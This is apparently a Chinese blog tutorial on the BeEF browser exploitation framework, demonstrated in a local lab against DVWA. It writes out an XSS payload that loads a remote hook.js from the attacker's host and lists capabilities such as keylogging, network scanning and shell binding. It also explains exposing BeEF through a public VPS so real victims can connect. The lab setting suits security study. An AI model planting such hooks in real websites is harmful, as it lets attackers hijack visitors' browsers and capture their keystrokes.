XSS之Beef的使用
0x01 Beef简介
BeEF是The Browser Exploitation Framework的缩写。它是一种专注于Web浏览器的渗透测试工具。
beef管理、挂钩web浏览器的过程:
生成交互paylaod的hook
服务器端:beef作为服务端管理,管理访问运行了hook的客户端
客户端:运行与客户端浏览器的 Javascript 脚本(hook),也就是beef生成的payload。
beef将运行了hook的web浏览器钩住,进行管理
0x02攻击手段
配合xss,将hook插入到存在xss的注入处;
直接诱使客户端访问含有 hook 的伪造站点
结合中间人攻击注入 hook 脚本
0x03 用途
键盘记录器
网络扫描
浏览器信息收集
绑定 shell
与 metasploit 集成
等...
0x04 beef工具获取
beef只支持Linux平台
获取:
wget https://github.com/beefproject/beef/archive/master.zip
或:
git clone https://github.com/beefproject/beef
安装配置查看:https://github.com/beefproject/beef/wiki/Installation
kali-linux自带beef;
beef如果用于实战的话,需要一台vps,也就是建立连接的时候要使受害机能访问到beef,因此需要一个外网ip。
我的vps安装beef的时候有点问题,那么我们可以使用本地kali的beef,开放服务后,对beef的服务端口进行端口转发,转发到我们外网的vps上,那么受害机访问payload(hook)后就可以反向到我们的beef服务端了。
这里端口转发可以使用frp、portfwd、ew等。
0x05使用
我在本地进行演示:
攻击机kali:192.168.106.129
靶机DVWA:192.168.31.214
1.更改beef的默认用户名密码
beef的配置文件:/etc/beef-xss/config.yaml
beef的默认用户名密码为beef、beef,如果需要更改beef的用户密码,则在配置文件里面更改user和passwd的值
2.启动
终端输入beef-xss即可启动beef服务端。
beef的服务端地址为:http://127.0.0.1:3000/ui/panel,启动之后浏览器会自动打开网页,进入登录页面,用户密码为默认的beef
登录成功后,这里会显示在线的主机和不在线的主机。在线的就是现在该主机浏览器执行了我们的JS脚本代码,不在线的就是该主机曾经执行过我们的JS脚本代码,但是现在叉掉了该页面
3.插入脚本hook到靶机
然后我们的hook启动的时候已经给出:
Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="https://<IP>:3000/hook.js"></script>
[*] Example: <script src="https://127.0.0.1:3000/hook.js"></script>
kali的地址为192.1618.106.129,那么靶机上插入的hook js脚本为:
<script src="https://192.168.106.129:3000/hook.js"></script>
在靶机DVWA上找一个xss漏洞,将hook插入到注入点:
留言提交后,靶机的浏览器就被beef钩上了:
因为我kali虚拟机开的nat模式,本机连的wifi,因此beef上显示的ip不是我wifi分配的ip,但就是我本机。
存储型xss的话只要插入的hook js语句,那么管理员正常访问他的站点就会触发,然后上钩。
0x06 beef管理
在beef上上钩了的受害机,beef对其可以获取到很多主机、浏览器信息
1、Details是浏览器信息详情
2.logs模块-键盘记录
3.commands-命令模块
Commands是你能对该浏览器进行哪些操作
主要模块:
-Browsers - Exploits - Host - Persistence(持久) - Network
绿色圆圈:表示模块适合目标浏览器,并且执行结果对客户端不可见
红色圆圈:表示模块不适用与当前用户,有些红色模块也可以正常执行
橙色圆圈:模块可用,但结果对用户可见(CAM 弹窗申请权限)
灰色圆圈:模块未在目标浏览器上测试过
更多的请参照卿师傅的博客:https://blog.csdn.net/qq_17204441/article/details/90706415?ops_request_misc=%7B%22request%5Fid%22%3A%22158209161719724835856114%22%2C%22scm%22%3A%2220140713.130056874..%22%7D&request_id=158209161719724835856114&biz_id=0&utm_source=distribute.pc_search_result.none-task
XSS之Beef的使用的更多相关文章
- xss利用——BeEF#stage4(其余功能介绍)
目录 信息收集 => 社会工程 =>网络扫描 => 结合metasploit => tunneling => xss => 维持权限 功能介绍 #1 - 信息收集 ...
- xss利用——BeEF#stage3(绕过同源策略与浏览器代理)
绕过同源策略 正式进入攻击阶段.因为SOP(同源策略)的存在,BeEF只能对被勾子钩住的页面所在域进行操作.如果有办法绕过SOP,那么无疑会使攻击面放大. 绕过SOP可从两方面入手.第一个是从浏览器本 ...
- xss利用——BeEF#stage2(初始并持续化控制)
全文概览 浏览器攻击方法流程 攻击浏览器一般分为几个阶段,如下图 整个过程分为三个步骤,第一步是初始化控制,第二步是持续控制,第三步是攻击.在第三步中的七个攻击方法是可以交叉的,比如可以同时攻击用户和 ...
- xss利用——BeEF#stage1
全文概览 简介 BeEF( The Browser Exploitation Framework) 是由Wade Alcorn 在2006年开始创建的,至今还在维护.是由ruby语言开发的专门针对浏览 ...
- 我为NET狂~群福利:逆天书库
我为NET狂-官方群① 238575862 爱学习,爱研究,福利不断,技能直彪~~ 最近更新:2016-08-30,欢迎补充 暂缺PDF: │ SQL Server 2012 Analysis Ser ...
- Kali Linux之速会BEEF & XSS攻击
beef 安装指南:https://github.com/beefproject/beef/wiki/Installation 升级ruby指南:https://www.cnblogs.com/waw ...
- Beef xss神器
KALI中启动BEEFXSS PAYLOAD为 <script src=”http://攻击机IP:3000/hook.js”></script> 将攻击代码插入到存储型XSS ...
- xss之渗透测试
跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用 ...
- XSS(跨站脚本攻击)的最全总结
从OWASP的官网意译过来,加上自己的理解,算是比较全面的介绍.有兴趣的可私下交流. XSS 跨站脚本攻击 ============================================== ...
随机推荐
- linux-->yii2报yii\db\Exception错
linux 中yii2 yii\db\Exception报错 报错显示:Database Exception – yii\db\Exception SQLSTATE[HY000] [2002] No ...
- Linux下的expect
expect简介 expect是一款自动化的脚本解释型的工具. expect基于tcl脚本,expect脚本的运行需要tcl的支持. expect对一些需要交互输入的命令很有帮助,比如ssh ftp ...
- day03_流程控制语句
day03_流程控制语句 建议: 凡是次数确定的场景多用for循环,否则用while循环. 三元运算符 由?:符号表示的,具体的含义其实就和if-else结构的含义差不多,这种运算符会将某个条 ...
- 如何理解Unicode,UTF-8,UTF-16。
- PCA技术的自我理解(催眠
Principal component analysis(PCA) 中文就是主成成分分析.在学数学建模的时候将这分为了评价类的方法(我实在是很难看出来,在机器学习中是属于无监督学习降维方法的一种线性降 ...
- spring @Scheduled注解 定时任务 详解
scheduled的使用注解的方式进行调度 先要配置spring.xml xmlns:task="http://www.springframework.org/schema/task&quo ...
- abp vnext2.0核心组件之.Net Core默认DI组件切换到AutoFac源码解析
老版Abp对Castle的严重依赖在vnext中已经得到了解决,vnext中DI容器可以任意更换,为了实现这个功能,底层架构相较于老版abp,可以说是进行了高度重构.当然这得益于.Net Core的D ...
- C语言学习笔记--void
void真正发挥的作用在于: (1) 对函数返回的限定: (2) 对函数参数的限定. 先给一个例子 定义函数返回值 函数名(参数1,参数2,参数3,.......){内容}int sum(int a ...
- 视觉slam十四讲课后习题ch3-7
题目回顾: 设有小萝卜一号和小萝卜二号位于世界坐标系中,小萝卜一号的位姿为:q1=[0.35,0.2,0.3,0.1],t2=[0.3,0.1,0.1]^T (q的第一项为实部.请你把q归一化后在进行 ...
- CCF_ 201412-1_门禁系统
水. #include<iostream> #include<cstdio> using namespace std; int main() { ],num[] = {}; c ...